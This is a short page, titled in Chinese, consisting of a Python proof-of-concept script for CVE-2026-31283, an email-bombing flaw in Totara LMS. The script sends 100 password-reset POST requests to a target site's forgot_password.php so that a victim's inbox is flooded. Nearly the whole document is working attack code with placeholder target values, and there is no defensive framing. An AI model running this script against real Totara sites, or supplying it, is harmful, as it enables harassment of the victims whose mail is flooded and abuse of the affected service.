CVE-2026-31283 Totara LMS邮件轰炸漏洞

import requests import time def send_password_reset(target_email, url): """ PoC for CVE-2026-31283: Email Bombing via Forgot Password API """ headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Payload structure may vary based on Totara configuration payload = { "email": target_email, "submit": "Send+password+reset+link" } try: response = requests.post(url, data=payload, headers=headers) if response.status_code == 200: print(f"[+] Email sent successfully to {target_email}") else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "[email protected]" # Replace with the actual endpoint of the target Totara instance target_url = "https://target-totara-site.com/login/forgot_password.php" print(f"[*] Starting Email Bombing attack on {target}...") for i in range(100): send_password_reset(target, target_url) time.sleep(1) # Optional delay to avoid immediate network timeouts print("[*] Attack finished.")